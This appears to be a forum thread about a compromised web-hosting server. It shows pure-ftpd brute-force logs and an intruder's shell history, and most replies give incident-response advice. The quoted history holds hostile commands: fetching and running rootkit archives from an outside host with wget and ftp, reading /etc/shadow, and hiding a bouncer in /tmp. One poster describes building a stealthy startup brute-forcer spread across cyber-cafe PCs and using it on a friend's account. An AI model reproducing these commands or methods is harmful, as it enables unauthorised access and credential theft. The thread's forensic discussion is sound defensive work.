Suspicious log

Nov 17 08:54:11 hosting pure-ftpd[13724]: (?@210.195.30.50) [WARNING] Authentication failed for user [rootbeer]
Nov 17 08:54:11 hosting pure-ftpd[13730]: (?@210.195.30.50) [INFO] New connection from 210.195.30.50
Nov 17 08:54:12 hosting pure-ftpd[13730]: (?@210.195.30.50) [WARNING] Authentication failed for user [rootbeer]
Nov 17 08:54:12 hosting pure-ftpd[13737]: (?@210.195.30.50) [INFO] New connection from 210.195.30.50
Nov 17 08:54:13 hosting pure-ftpd[13737]: (?@210.195.30.50) [WARNING] Authentication failed for user [rootbeer]
Nov 17 08:54:14 hosting pure-ftpd[13724]: (?@210.195.30.50) [INFO] Logout - CPU time spent: 0.000 seconds.
Nov 17 08:54:15 hosting pure-ftpd[13730]: (?@210.195.30.50) [INFO] Logout - CPU time spent: 0.000 seconds.
Nov 17 08:54:16 hosting pure-ftpd[13737]: (?@210.195.30.50) [INFO] Logout - CPU time spent: 0.000 seconds.
Nov 17 08:54:50 hosting pure-ftpd[13910]: (?@210.195.30.36) [INFO] New connection from 210.195.30.36
Nov 17 08:54:52 hosting pure-ftpd[13910]: (?@210.195.30.36) [WARNING] Authentication failed for user [rootbeer]
Nov 17 08:54:55 hosting pure-ftpd[13929]: (?@210.195.30.36) [INFO] New connection from 210.195.30.36
Nov 17 08:54:55 hosting pure-ftpd[13910]: (?@210.195.30.36) [INFO] Logout - CPU time spent: 0.000 seconds.
Nov 17 08:54:56 hosting pure-ftpd[13929]: (?@210.195.30.36) [WARNING] Authentication failed for user [rootbeer]
Nov 17 08:54:56 hosting pure-ftpd[13936]: (?@210.195.30.36) [INFO] New connection from 210.195.30.36
Nov 17 08:54:57 hosting pure-ftpd[13936]: (?@210.195.30.36) [WARNING] Authentication failed for user [rootbeer]
N
----
Nov 17 09:39:50 hosting pure-ftpd[25356]: (?@210.195.36.227) [INFO] New connection from 210.195.36.227
Nov 17 09:39:51 hosting pure-ftpd[25356]: (?@210.195.36.227) [INFO] rootbeer is now logged in
Nov 17 09:39:54 hosting pure-ftpd[25356]: (rootbeer@210.195.36.227) [INFO] Logout - CPU time spent: 0.000 seconds.
Nov 17 09:44:53 hosting named[2053]: client 218.111.217.111#2671: update 'lanfar.com.my/IN' denied
Nov 17 09:45:07 hosting pure-ftpd[26695]: (?@127.0.0.1) [INFO] New connection from 127.0.0.1
Nov 17 09:45:07 hosting pure-ftpd[26695]: (?@127.0.0.1) [INFO] Logout - CPU time spent: 0.000 seconds.
Nov 17 09:50:12 hosting named[2053]: client 218.111.217.111#2827: update 'lanfar.com.my/IN' denied
Nov 17 09:51:12 hosting pure-ftpd[28557]: (?@210.186.130.187) [INFO] New connection from 210.186.130.187
Nov 17 09:51:12 hosting pure-ftpd[28557]: (?@210.186.130.187) [INFO] rootbeer is now logged in
Nov 17 09:52:05 hosting pure-ftpd[28557]: (rootbeer@210.186.130.187) [NOTICE] /usr/home/rootbeer//in/str00351117095203.zipx u
ploaded (144892 bytes, 3.11KB/sec)
Nov 17 09:52:07 hosting pure-ftpd[28557]: (rootbeer@210.186.130.187) [NOTICE] File successfully renamed or moved: [str0035111
7095203.zipx]->[str00351117095203.zip]
Nov 17 09:52:07 hosting pure-ftpd[28557]: (rootbeer@210.186.130.187) [INFO] Logout - CPU time spent: 0.010 seconds.


based on the log above.. can we say that someone is spooling an IP address and trying to logon to the box using rootbeer user id? there is a lot of this type of log.. for the entire day.. what shd i do? what is he trying to do?

Do you have a registered user for the box called Rootbeer?.. yes well it looks like a remote log in....by pharting around with proxies..

If you don't have a user called Rootbeer...YOU DO NOW....in other words rooted... now I will sit back, watch and learn..

cheers

grab the zipfile......

Sit back and watch, grab anything else they put there. Popping a packet sniffer like Ethereal on the box would be nice too..... Just watch for outbound connections. When they start, mess with them for a while then kill the hack.... ;)

Und3ertak3r already noted it. You seem to have a user named rootbeer. If you didn't create it you're screwed. If it is an account you've created, it probably has a simple password. Someone may have bruteforced that password (those are the authentication failed log entries). By using different proxies (source addresses in your logs) your attacker hopes you won't notice it.

Because it's a TCP connection you can probably rule out TCP/IP spoofing. Spoofing a fully blown TCP connection is next to impossible to do over the Internet. Heck, it's hard enough to do in a lab environment.

I'd definitely check out that zipfile. It may contain some tools your attacker plans on using..
This might give you an edge, so it'll be easier to guess what your attacker will do next.

have anyone tried this?
wget sonkeriki.front.ru/sk.tar.gz

Just did :D
this excerpt of the contenets should day it all

Quote:

---

Hello, dear friend
I have two news for you. Bad one and the bad one:
First, it seems that someone installed rootkit
on your system...
Second, is the fact that I can't execute (errno=%d)
original /sbin/init binary!
And reason why I am telling you this is
that I can't live without this file. It's just
kinda of symbiosis, so, boot from clean floppy,
mount root fs and repair /sbin/init from backup.

(and install me again, if you like :P)

Best regards,
your rootkit .. SoNkErIkI Say`s Have a nice day!

---

taken from the sk file in the tar

Penguin, did you find a reference to that sk.tar.gz file on your system?
If you did, you're definitely 0wn3d :eek:

Take the system off-line, backup your data and reinstall everything from original media. Yes, this means nuking your system, there's no way to tell what else "they" may have touched without doing some serious forensic analysis... And don't forget to update your system before putting it online again.

how do i find the file?
i cant find the file..
it seems like deleted..

this is the .bash_history file

w
ping www.yahoo.com
cd /tmp
cd /var/tmp
ls -al
cd /tmp
ftp sonkeriki.front.ru
bye
ls -al
cd /tmp
tar xvf pt.tar
./pt
./pt
id
id
id
id
id
id
id
id
./pt
./pt
./pt
./pt
./pt
./pt
./pt
./pt
w
who
rm -rf pt pt.tar
ls -al
id
ps x
w
w
pwd
cd .X11-unix/
ls -al
ftp sonkeriki.front.ru
tar xzvf p.tar.gz
PATH=.:$PATH
sh
cd ..
exit
bash
clear
exit
w
cd /tmp
cd .X11-unix/
ls -al
rm -rf p.tar.gz
ls -al
mv psybnc .X11-unix
ls -al
cd .X11-unix
make
a
a
pwd
ls -al
mv psybnc sh
ls -al
hostname
sh
clear
exit
w
cat /etc/host
cat /etc/hosts
ifconfig
/sbin/ifconfig -a
uptime
ping www.yahoo.com
cd /tmp
ping www.yahoo.com
clear
exit
hostname
vhost
vhosts
ifconfig
/sbin/ifconfig -a
cat /etc/hosts
id
ls -al
cd /home
ls -al
cat /etc/shadow
cd /tmp
ls -al
su
wget sonkeriki.front.ru/sk.tar.gz
ls -al
tar xzvf sk.tar.gz
rm -rf download.php?URL=sonkeriki.front.ru%2Fsk.tar.gz
ls -al
cd /tmp
ls -al

what do u all think?

Quote:

---

Originally posted here by recca
Just did :D
this excerpt of the contenets should day it all


taken from the sk file in the tar

---

hey.. how did u do it? i cannot gunzip the file after downloading it..

I'm just curious how this person gained "root" level access via your FTP site. Was some form of buffer-overflow exploited in addition to the FTP account brute-forcing? Also.. I assume you HAD to have had an account named "rootbeer" to be cracked by password grinding.

For knowledge sake, I'd suggest you determine if your FTP server (based on its revision) is succeptible to buffer overflow exploits, as I'm not aware of any native FTP based methods of gaining root.

And finally - based on your .bash_history, looks like somebody's staging some great files to play with on your site and is definately looking at setting up some sort of server-based process (hence all the pinging to yahoo.com and reviewing of your network config (ifconfig).

Good luck!

I was at work while i did it just used wget to get the file and dumped it to my default rubbish share was at a windows machine at the time and just unpacked it with 7Zip
not exactly rocket sience then just used my favorite editor to view the files
that's all didn't have much time for anything else.
if you want i can send you the contents

Quote:

---

Originally posted here by recca
I was at work while i did it just used wget to get the file and dumped it to my default rubbish share was at a windows machine at the time and just unpacked it with 7Zip
not exactly rocket sience then just used my favorite editor to view the files
that's all didn't have much time for anything else.
if you want i can send you the contents

---

the problem is that i canot even gunzip in the box after downloaded it..

Quote:

---

Originally posted here by utahlanman
I'm just curious how this person gained "root" level access via your FTP site. Was some form of buffer-overflow exploited in addition to the FTP account brute-forcing? Also.. I assume you HAD to have had an account named "rootbeer" to be cracked by password grinding.

For knowledge sake, I'd suggest you determine if your FTP server (based on its revision) is succeptible to buffer overflow exploits, as I'm not aware of any native FTP based methods of gaining root.

And finally - based on your .bash_history, looks like somebody's staging some great files to play with on your site and is definately looking at setting up some sort of server-based process (hence all the pinging to yahoo.com and reviewing of your network config (ifconfig).

Good luck!

---

I am using pure-ftp and i have a user called rootbeer..
anyway i will go and check and get back to u..

Penguin:

I will pre-empt this post by pointing out I know _nothing_ about *nix and it's inner workings... period....

You are out of your depth son.... Way out of your depth.... I don't mean to be offensive but you don't seem to be getting the basics here.... That's very bloody dangerous....

Take the box offline, reinstall, update to all the latest patches, firewall everything that is not _absolutely_ neccesary, and I mean _necessary_ and start logging stuff inbound so you can see what is really going on... If you don't you will be perpetually owned.....

Sorry, but it's a fact!

Quote:

---

Originally posted here by Tiger Shark
Penguin:

I will pre-empt this post by pointing out I know _nothing_ about *nix and it's inner workings... period....

You are out of your depth son.... Way out of your depth.... I don't mean to be offensive but you don't seem to be getting the basics here.... That's very bloody dangerous....

Take the box offline, reinstall, update to all the latest patches, firewall everything that is not _absolutely_ neccesary, and I mean _necessary_ and start logging stuff inbound so you can see what is really going on... If you don't you will be perpetually owned.....

Sorry, but it's a fact!

---

ok.. but how do i learn what happened? is there a way? then suggest to me what do i do to track the culprit?

Tracking the culprit isn't the issue really. Take the box offline so no harm can be done to others.

If you want to learn how it was done then you will need to perform a forensic examination of the box and it's filesystem. The problem is I'm not sure that you will have the relevant logs to show you exactly and everything that happened.

Get the box offline and see if some of the *nix guys here can help you to work it out.

As an InfoSec consultant, I would tend to agree that containing the incident now is probably the most prudent approach.

However, with that being said - this individual obviously could use some hands-on education on the process. More specifically, this person should at the minimum understand the chain of events that led to the "root'ing of the server, including patch revisions, buffer-overflow and/or weak system setup and learn from it before staging another Internet accessible server.

Penguin: I'd recommend taking the system offline (disconnect the ethernet cable at minimum) and begin a basic forensic analysis to understand what went wrong with your server config. Then, the most appropriate approach would be to blast the box and reinstall everything, ensuring you're patched and hardened according to the CIS standard for xxx (where xxx= your operating system). Ensure any public facing services (FTP, HTTP, etc) are secured and the hosting applications appropriately updated too.

Good luck!

Here are some references:

http://www.sans.org/top20/

http://www.sans.org/score/

As others have said, first take it offline.

Then you should head over to security focus and get yourself some learning!
http://securityfocus.com/infocus/incidents

Don't forget sans.org!
http://www.sans.org/rr/whitepapers/incident/

There are plenty of great articles that deal with *nix 0wn3d boxes.

Might I suggest the following tools to you:

chkrootkit.
http://www.chkrootkit.org/

tiger
http://savannah.nongnu.org/projects/tiger

chkrootkit will search for evidence of a rootkit.

tiger will audit your system to determine possible weak spots in your security.
(then you might be able to get an idea of how your system was compromised)

If you want to bring it back "online" in a lab environment, then you can run other vuln tests on it over the network with vuln scanners... *cough*nessus*cough*

It is quite possible that whatever security hole that was used to get access was closed by the attacker. Sometimes attackers will close the hole and open another that only they can get access to it.

But, go read first. So you don't mess up the "evidence" while playing around.

do i see something that others can't?I believe it is a distributed brute force attack on user name rootbeer Penguin:do u have a user called rootbeer ?if u do it is some friend or employee of urs with good programming skills who did it to u.
simply made a brute force application for username=rootbeer and set it up on different PC's with password options being different on each pc.say on one PC he used A as starting character and on other B as starting character and so on if u used to log in with this user id in front of some friend of urs he may have determined username to be rootbeer and some additional information about password too.

Like password starts with a perticular character it is of 8 characters long its character set is a-z & 0-9 whether capital letters are used in password or not all this information can be gained over a period of time and it is pretty easy too.
this info may be used to program ur own brute forcer(or modify an origional one)in vc++ u can even make a brute forcer that runs in back ground requires no user interection loads at startup and soes its job in background so if u install say 100 copies of that brute forcer on 100 different computers(simply if u r an asian cyber cafe is the safest place to install this type of things i dunno why pplz need t use proxy's)so here it is we have a perticular user name we know password length starting symbol so how long would it take?may be with a conventional brute forces 30-40 days but with password search space devided by 100 how much time would it take?
o0o0o0o0o0o0o0o0o0o0o0o0o0o0o

anyways i read thread carefully and i don't think u specified anywhere if u had a user rootbeer or not and the provided information can never be enough i am just saying what i think.
NOT SURE ANYHOW.

Quote:

---

Originally posted here by Penguin
i have a user called rootbeer..

---

He does have a user called rootbeer. It may have been a dictionary or bruteforce attack or even a remote exploit. We don't have much info about that box. (version numbers, services, patch levels, etc) But we do know that they had access to both Pure-FTP (not sure which version) and a shell. AFAIK, Pure-FTP only has DoS vulnerabilities. (search the vuln database on www.securityfocus.com

From knowing that, then we can guess that they guessed a correct user id and pwd for FTP which was also used for some terminal access program? (ssh, rlogin, etc)

We just don't have nearly enough info to say for sure. All we can do is guess.

Hi

littlenick, thanks for your nice explanation of a brute force attack on a server with
a known username. It already has been discussed in this thread. Now, people try
to discuss how to gain information about what damage has been done to the
compromised system. Another unknown/topic is, how a "simple" ftp-user gains
root-access to the box (edit: well, and whether it really was a brute-force attack
or rather an exploit, but the log-files points to a brute-force attack using a dictionary,
hence the password of rootbeer was rather weak).

As per your question how long it would take to brute force a password.
Assume an "alphabet" consisting of approximatively 25 character (a-z) :D
and a password of length l, e.g. 8

Then, you have 25^l possibilities to brute force.

A 100% succesfull brute force attack using n nodes (e.g. 100)
and an assume average "check" of login/password of 10ms (rather low)

duration = 25^8 / 100 * 10 ms = 175 days...

Cheers

i don't think u got me correctly i was not asking a question there dude.i am pretty much sure that it was a distributed brute force attack i was saying that such kinda attacks can be completed in a day or two provided that you have right kinda information and good programming skills i have my own backgorund brute forcer i have used it a lot and was even able to brute force a friends ftp account in 8 hours(i knew his user name and starting character)
as far ur calculation of how long would it take i don't agree read my post carefully first.
i don't want to sound rude but i think u posted that in a hurry.

phishphreek80::thanks for updating me.

Both of you are still missing a basic point in the security of this server..

Just by brute-forcing an FTP password does not provide 'root' equivalency. What was the transition from FTP to root/shell access? Just uploading a file to a compromised FTP account wont provide 'root' access. There had to be some other situation that lent itself to compromising root.

At any rate, the point is moot. Penguin really needs to isolate the system, understand what went wrong and start over - following the suggestions provided thus far.

littlenick:

Nope, it wasn't distributed.... Why? The IP address doesn't change in the early part of the log. A distributed attack would show a cycling of attempts from a series of addresses in a very short time. The fact that the IP address changed between the early and the late part of the log, (more than an hour apart), does not indicate distributed. It was brute forced though.... I think the logs shows that..... I also think that the brute forcer knew that their was an account called rootbeer unless pure-ftpd is dumb enough to generate a different error message for a failed username than a failed password, (ie: bad username = "user not found", bad password = "Access Denied"). There's some speculation here 'cos I can't see the entire log.... But I have money to bet.... ;)

Utah: Not being familiar with *nix, is it possible for pure-ftpd to allow the root user as an automatic user of the FTP daemon and thus a login might give root rights? Also, could a user of the FTP site be given rights to the root of the drive? I like the second for a _huge_ mistake on the part of the user.... :D

Penguin: Utah, is right, (not to mention myself, Phish and some others). Get the box offline before they do something you can't control and they do something to someone else with your box.....

First Rule of Computer Security: When you know you are hacked and you don't understand why, how or what prevent the box from harming others......

Seriously mate, Get it offline and people like Phish and Utah can help you learn.

Tiger..

To respond to the FTP questions:

Yes, the FTP account(s) can be defined with rights to any portion of the filesystem (mount points).

As to the level of access, there is no "admin" equivalency (as in Windows) in Unix/Solaris/Linux. While an FTP account could have been created with full filesystem access, its doubtful that the account would have been able to have sufficient rights to modify the filesystem enough to own it (
'root' it).

Its more likely that this scenario played out (unless a buffer-overflow or weakness in the FTP deamon was exploited):

- rootbeer account broken / password guessed
- FTP is defined such that the root '/' fileystem is exposed
- rootbeer ftp user pulls down the /etc/passwd and /etc/shadow files and generates a crack
against 'root'

Another scenario is that user rootbeer is broken, then the system accessed via telnet/ssh/whatever and rootbeer launches some binary that opens an new outbound port/service that provides for additional filesystem exposure.

At any rate, without audit logs, syslog, etc -- its all just speculation.

It is entertaining to perform these kinds of post-mortem reviews and if Penguin could put the logs (usually found in /var/log) online for us to review, it could allow us to be further educated.

Hi all,
I'm sorry that i canot provide more info for this attack as it is not my server.. but what i can say is that is it a web hosting server and we cannot just plug it off from the net.. there's a few client hosting inside.. we will try to figure out asap and then re-install everything..

btw what is this rootkit thingy? how is it been installed into the box? does the attacker gain root access then install it or thru some buffer overrun vul?

Penguin:

If there is a rootkit installed you are foxxed!!!!!

A good rootkit is very difficult to find for a start. Secondly, the only sure way to find it is to bring the box down for a forensic investigation.

You are between a rock and a hard place..... The advice of all still stands. bring down the box, reformat and reinstall, patch, patch and then patch again. Secure it, log everything, watch the logs, put a packet sniffer on it and hope you blocked the hole. Learning will have to be for another day.

tiger i think u are right but there are chances of a distributed brute force attack we can never deny that.there are only two possibilities .........
1)password search space was too small that it ws possible for a conventional brute force attack to complete in a day(as penguin said)
2)choosen password was too weak.like 1234567 it was attackers luck that he got that password in a day(may be his password generation scheme was such )

information available is not enough
penguin i think u r making a mistake u should take ur server offline.btw can u tell us what was the password before attack?
this information may help us analyse the situation more i would really appriciate a bit more information.

it's one of the user.. i do not have the passwd..